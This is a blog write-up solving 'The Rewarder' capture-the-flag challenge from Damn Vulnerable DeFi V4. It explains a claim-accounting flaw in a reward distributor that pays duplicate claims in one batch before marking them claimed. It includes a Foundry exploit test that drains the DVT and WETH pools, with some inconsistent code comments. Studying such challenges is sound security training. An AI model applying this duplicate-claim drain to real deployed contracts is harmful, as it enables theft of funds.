Challenge 5: The Rewarder, Damn vulnerable defi V4 lazy solutions series
Why Lazy?
I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.
Problem statement:
Distributor is distributing rewards to chosen set of beneficiaries. We've to rescue as much as funds possible from distributor contract as there's some vulnerability found
Examining the Smart Contract
Structs:
Distribution:
Stores information about a token distribution including remaining tokens, next batch number, Merkle roots for each batch, and claims made by users.
Claim:
Represents a single claim, containing batch number, amount, token index, and Merkle proof.
Important Functions:
createDistribution(IERC20 token, bytes32 newRoot, uint256 amount):
- Creates a new distribution for a token with a given Merkle root and amount.
claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens):
Allows users to claim rewards for multiple tokens in a single transaction.
works for multiple claims at single call.
It takes
claims
andtokens
in input and in execution it transfers the rewards and also account that claim is being claimed using_setClaimed
.
_setClaimed(IERC20 token, uint256 amount, uint256 wordPosition, uint256 newBits):
- Internal function to mark claims as processed and update the remaining token amount.
Vulnerability
Reward Claim Accounting Discrepancy
The vulnerability lies in the implementation of the claimRewards
function, specifically in its handling of multiple claims within a single transaction. The function processes claims sequentially, but there's a critical timing mismatch between reward distribution and claim record updates.
Function Flow:
The function accepts an array of claims as input.
It iterates through each claim in the array.
For each iteration:
- The reward amount is transferred to the claimant.
- The claim is marked as processed in the next iteration.
Expected Behavior: Under normal circumstances, when claims are unique, this implementation works as intended. Each claim is processed, rewards are distributed, and the claim is marked as completed in the subsequent iteration.
Vulnerability Exploit: The vulnerability becomes apparent when multiple identical claims are submitted in a single transaction. In this scenario:
The function transfers the reward amount for each occurrence of the claim.
However, it only marks the claim as processed after the final occurrence.
Visualization: For a series of identical claims [A, A, A]:
Iteration 1: Transfers reward for A, doesn't mark as claimed
Iteration 2: Transfers reward for A again, doesn't mark as claimed
Iteration 3: Transfers reward for A a third time, marks A as claimed
This implementation allows a malicious actor to receive multiple reward payouts for the same claim before the system recognizes it as processed, potentially draining the contract of funds.
The Attack Strategy
Exploit the claimRewards
function to receive multiple reward payouts for a single valid claim.
Prerequisites:
The attacker must have at least one valid, unclaimed reward.
The contract must have sufficient funds to pay out multiple rewards.
Attack Steps:
Identify a valid, unclaimed reward associated with the attacker's address.
Create an array of identical claim objects, all referencing the same valid claim.
Call the
claimRewards
function with the prepared array of identical claims.Immediately withdraw or transfer the exploited funds to a separate address.
Solution
Let's code it,
test/the-rewarder/TheRewarder.t.sol
function test_theRewarder() public checkSolvedByPlayer {
uint PLAYER_DVT_CLAIM_AMOUNT = 11524763827831882;
uint PLAYER_WETH_CLAIM_AMOUNT = 1171088749244340;
bytes32[] memory dvtLeaves = _loadRewards(
"/test/the-rewarder/dvt-distribution.json"
);
bytes32[] memory wethLeaves = _loadRewards(
"/test/the-rewarder/weth-distribution.json"
);
uint dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT /
PLAYER_DVT_CLAIM_AMOUNT;
uint wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT /
PLAYER_WETH_CLAIM_AMOUNT;
uint totalTxCount = dvtTxCount + wethTxCount;
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create Alice's claims
Claim[] memory claims = new Claim[](totalTxCount);
for (uint i = 0; i < totalTxCount; i++) {
if (i < dvtTxCount) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
});
} else {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
});
}
}
distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
See it in action,
forge test --mp test/the-rewarder/TheRewarder.t.sol
Succeed!🔥💸
Incase if you need all solutions,
https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions
Subscribe to my newsletter
Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Siddharth Patel
Siddharth Patel
I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.